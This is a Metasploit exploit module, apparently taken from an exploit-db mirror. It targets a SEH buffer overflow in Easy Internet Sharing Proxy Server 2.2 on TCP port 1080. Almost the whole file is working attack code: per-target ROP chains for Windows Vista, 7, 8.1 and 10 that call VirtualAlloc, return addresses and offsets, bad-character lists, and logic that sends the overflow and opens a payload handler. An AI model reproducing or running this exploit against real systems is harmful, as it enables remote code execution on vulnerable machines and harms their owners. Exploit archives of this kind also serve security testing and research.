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exploit-db-mirror/exploits/windows/remote/40760.rb
Offensive Security 36c084c351 DB: 2021-09-03 
45419 changes to exploits/shellcodes

2 new exploits/shellcodes

Too many to list!
2021-09-03 13:39:06 +00:00

287 lines
No EOL
10 KiB
Ruby
Executable file
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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Easy Internet Sharing Proxy Server 2.2 SEH buffer Overflow',
'Description' => %q{
This module exploits a SEH buffer overflow in the Easy Internet Sharing Proxy Socks Server 2.2
},
'Platform' => 'win',
'Author' =>
[
'tracyturben[at]gmail.com'
],
'License' => MSF_LICENSE,
'References' =>
[
[ %w{URL http://www.sharing-file.com/products.htm}]
],
'Privileged' => false,
'Payload' =>
{
'Space' => 836,
'BadChars' => '\x90\x3b\x0d\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c',
'StackAdjustment' => -3500,
},
'Targets'=>
[
[ 'Windows 10 32bit', { 'Ret' => 0x0043AD2C,'Offset' => 836,'Nops' => 44 } ],
[ 'Windows 8.1 32bit SP1', { 'Ret' => 0x0043AD30,'Offset' => 908 } ],
[ 'Windows 7 32bit SP1', { 'Ret' => 0x0043AD38,'Offset' => 884 } ],
[ 'Windows Vista 32bit SP2 ', { 'Ret' => 0x0043AD38,'Offset' => 864 } ]
],
'DefaultOptions'=>{
'RPORT'=> 1080,
'EXITFUNC'=> 'thread'
},
'DisclosureDate' => 'Nov 10 2016',
'DefaultTarget'=> 0))
end
def exploit
connect
rop_gadgets =''
if target.name =~ /Vista 32bit/
print_good("Building Windows Vista Rop Chain")
rop_gadgets =
[
0x0043fb03,
0x0043fb03,
0x0043fb03,
0x0043fb03,
0x0043fb03,
0x00454559, # POP EAX # RETN [easyproxy.exe]
0x00489210, # ptr to &VirtualAlloc() [IAT easyproxy.exe]
0x00462589, # MOV EAX,DWORD PTR DS:[EAX] # RETN [easyproxy.exe]
0x004768eb, # PUSH EAX # POP ESI # RETN 0x04 [easyproxy.exe]
0x004543b2, # POP EBP # RETN [easyproxy.exe]
0x41414141, # Filler (RETN offset compensation)
0x00417771, # & push esp # ret 0x1C [easyproxy.exe]
0x0046764d, # POP EBX # RETN [easyproxy.exe]
0x00000001, # 0x00000001-> ebx
0x004532e5, # POP EBX # RETN [easyproxy.exe]
0x00001000, # 0x00001000-> edx
0x0045a4ec, # XOR EDX,EDX # RETN [easyproxy.exe]
0x0045276e, # ADD EDX,EBX # POP EBX # RETN 0x10 [easyproxy.exe]
0x00000001, # size
0x00486fac, # POP ECX # RETN [easyproxy.exe]
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (RETN offset compensation
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (RETN offset compensation)
0x00000040, # 0x00000040-> ecx
0x0044fc45, # POP EDI # RETN [easyproxy.exe]
0x0043fb03, # RETN (ROP NOP) [easyproxy.exe]
0x0045460d, # POP EAX # RETN [easyproxy.exe]
0x90909090, # nop
0x0047d30f, # PUSHAD # ADD AL,0 # RETN [easyproxy.exe]
].flatten.pack('V*')
print_good('Building Exploit...')
sploit = "\x90" *46
sploit << rop_gadgets
sploit << payload.encoded
sploit << rand_text_alpha(target['Offset'] - payload.encoded.length)
sploit << generate_seh_record(target.ret)
print_good('Sending exploit...')
sock.put(sploit)
print_good('Exploit Sent...')
handler
disconnect
end
if target.name =~ /7 32bit/
print_good('Building Windows 7 Rop Chain')
rop_gadgets =
[
0x0043fb03, # RETN (ROP NOP) [easyproxy.exe]
0x0043fb03, # RETN (ROP NOP) [easyproxy.exe]
0x0043fb03, # RETN (ROP NOP) [easyproxy.exe]
0x0043fb03, # RETN (ROP NOP) [easyproxy.exe]
0x0043fb03, # RETN (ROP NOP) [easyproxy.exe]
0x0047da72, # POP EAX # RETN [easyproxy.exe]
0x00489210, # ptr to &VirtualAlloc() [IAT easyproxy.exe]
0x004510a3, # MOV EAX,DWORD PTR DS:[EAX] # RETN [easyproxy.exe]
0x004768eb, # PUSH EAX # POP ESI # RETN 0x04 [easyproxy.exe]
0x00450e40, # POP EBP # RETN [easyproxy.exe]
0x41414141, # Filler (RETN offset compensation)
0x00417865, # & push esp # ret 0x1C [easyproxy.exe]
0x0046934a, # POP EBX # RETN [easyproxy.exe]
0x00000001, # 0x00000001-> ebx
0x0045a5b4, # POP EBX # RETN [easyproxy.exe]
0x00001000, # 0x00001000-> edx
0x0045a4ec, # XOR EDX,EDX # RETN [easyproxy.exe]
0x0045276e, # ADD EDX,EBX # POP EBX # RETN 0x10 [easyproxy.exe]
0x00000001, # size
0x0047a3bf, # POP ECX # RETN [easyproxy.exe]
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (RETN offset compensation)
0x00000040, # 0x00000040-> ecx
0x00453ce6, # POP EDI # RETN [easyproxy.exe]
0x0043fb03, # RETN (ROP NOP) [easyproxy.exe]
0x00478ecd, # POP EAX # RETN [easyproxy.exe]
0x90909090, # nop
0x0047d30f, # PUSHAD # ADD AL,0 # RETN [easyproxy.exe]
].flatten.pack('V*')
print_good('Building Exploit...')
sploit = "\x90" *26
sploit << rop_gadgets
sploit << payload.encoded
sploit << rand_text_alpha(target['Offset'] - payload.encoded.length)
sploit << generate_seh_record(target.ret)
print_good('Sending exploit...')
sock.put(sploit)
print_good('Exploit Sent...')
sleep(5)
handler
disconnect
end
if target.name =~ /8.1 32bit/
print_good('Building Windows 8 Rop Chain')
rop_gadgets =
[
0x0043fb03, # RETN (ROP NOP) [easyproxy.exe]
0x0043fb03, # RETN (ROP NOP) [easyproxy.exe]
0x0043fb03, # RETN (ROP NOP) [easyproxy.exe]
0x0043fb03, # RETN (ROP NOP) [easyproxy.exe]
0x0043fb03, # RETN (ROP NOP) [easyproxy.exe]
0x0047da72, # POP EAX # RETN [easyproxy.exe]
0x00489210, # ptr to &VirtualAlloc() [IAT easyproxy.exe]
0x004510a3, # MOV EAX,DWORD PTR DS:[EAX] # RETN [easyproxy.exe]
0x004768eb, # PUSH EAX # POP ESI # RETN 0x04 [easyproxy.exe]
0x00450e40, # POP EBP # RETN [easyproxy.exe]
0x41414141, # Filler (RETN offset compensation)
0x00417865, # & push esp # ret 0x1C [easyproxy.exe]
0x0046934a, # POP EBX # RETN [easyproxy.exe]
0x00000001, # 0x00000001-> ebx
0x0045a5b4, # POP EBX # RETN [easyproxy.exe]
0x00001000, # 0x00001000-> edx
0x0045a4ec, # XOR EDX,EDX # RETN [easyproxy.exe]
0x0045276e, # ADD EDX,EBX # POP EBX # RETN 0x10 [easyproxy.exe]
0x00000001, # size
0x0047a3bf, # POP ECX # RETN [easyproxy.exe]
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (RETN offset compensation)
0x00000040, # 0x00000040-> ecx
0x00453ce6, # POP EDI # RETN [easyproxy.exe]
0x0043fb03, # RETN (ROP NOP) [easyproxy.exe]
0x00478ecd, # POP EAX # RETN [easyproxy.exe]
0x90909090, # nop
0x0047d30f, # PUSHAD # ADD AL,0 # RETN [easyproxy.exe]
].flatten.pack('V*')
print_good('Building Exploit...')
sploit = "\x90" *2
sploit << rop_gadgets
sploit << payload.encoded
sploit << rand_text_alpha(target['Offset'] - payload.encoded.length)
sploit << generate_seh_record(target.ret)
print_good('Sending exploit...')
sock.put(sploit)
print_good('Exploit Sent...')
handler
disconnect
end
if target.name =~ /10 32bit/
print_good('Building Windows 10 Rop Chain')
rop_gadgets =
[
0x0043fb03, # RETN (ROP NOP) [easyproxy.exe]
0x0043fb03, # RETN (ROP NOP) [easyproxy.exe]
0x0043fb03, # RETN (ROP NOP) [easyproxy.exe]
0x0043fb03, # RETN (ROP NOP) [easyproxy.exe]
0x0043fb03, # RETN (ROP NOP) [easyproxy.exe]
0x0047f1de, # POP EBX # RETN [easyproxy.exe]
0x00489210, # ptr to &VirtualAlloc() [IAT easyproxy.exe]
0x0045a4ec, # XOR EDX,EDX # RETN [easyproxy.exe]
0x0045276e, # ADD EDX,EBX # POP EBX # RETN 0x10 [easyproxy.exe]
0x41414141, # Filler (compensate)
0x00438d30, # MOV EAX,DWORD PTR DS:[EDX] # RETN [easyproxy.exe]
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (RETN offset compensation)
0x004768eb, # PUSH EAX # POP ESI # RETN 0x04 [easyproxy.exe]
0x004676b0, # POP EBP # RETN [easyproxy.exe]
0x41414141, # Filler (RETN offset compensation)
0x00417771, # & push esp # ret 0x1C [easyproxy.exe]
0x0046bf38, # POP EBX # RETN [easyproxy.exe]
0x00000001, # 0x00000001-> ebx
0x00481477, # POP EBX # RETN [easyproxy.exe]
0x00001000, # 0x00001000-> edx
0x0045a4ec, # XOR EDX,EDX # RETN [easyproxy.exe]
0x0045276e, # ADD EDX,EBX # POP EBX # RETN 0x10 [easyproxy.exe]
0x00000001, # Filler (compensate)
0x00488098, # POP ECX # RETN [easyproxy.exe]
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (RETN offset compensation)
0x00000040, # 0x00000040-> ecx
0x0044ca38, # POP EDI # RETN [easyproxy.exe]
0x0043fb03, # RETN (ROP NOP) [easyproxy.exe]
0x00454559, # POP EAX # RETN [easyproxy.exe]
0x90909090, # nop
0x0047d30f, # PUSHAD # ADD AL,0 # RETN [easyproxy.exe]
].flatten.pack('V*')
print_good('Building Exploit...')
sploit = "\x90" *2
sploit << rop_gadgets
sploit << payload.encoded
sploit << make_nops(target['Nops'])
sploit << rand_text_alpha(target['Offset'] - payload.encoded.length)
sploit << generate_seh_record(target.ret)
print_good('Sending exploit...')
sock.put(sploit)
print_good('Exploit Sent...')
handler
disconnect
end
end
end
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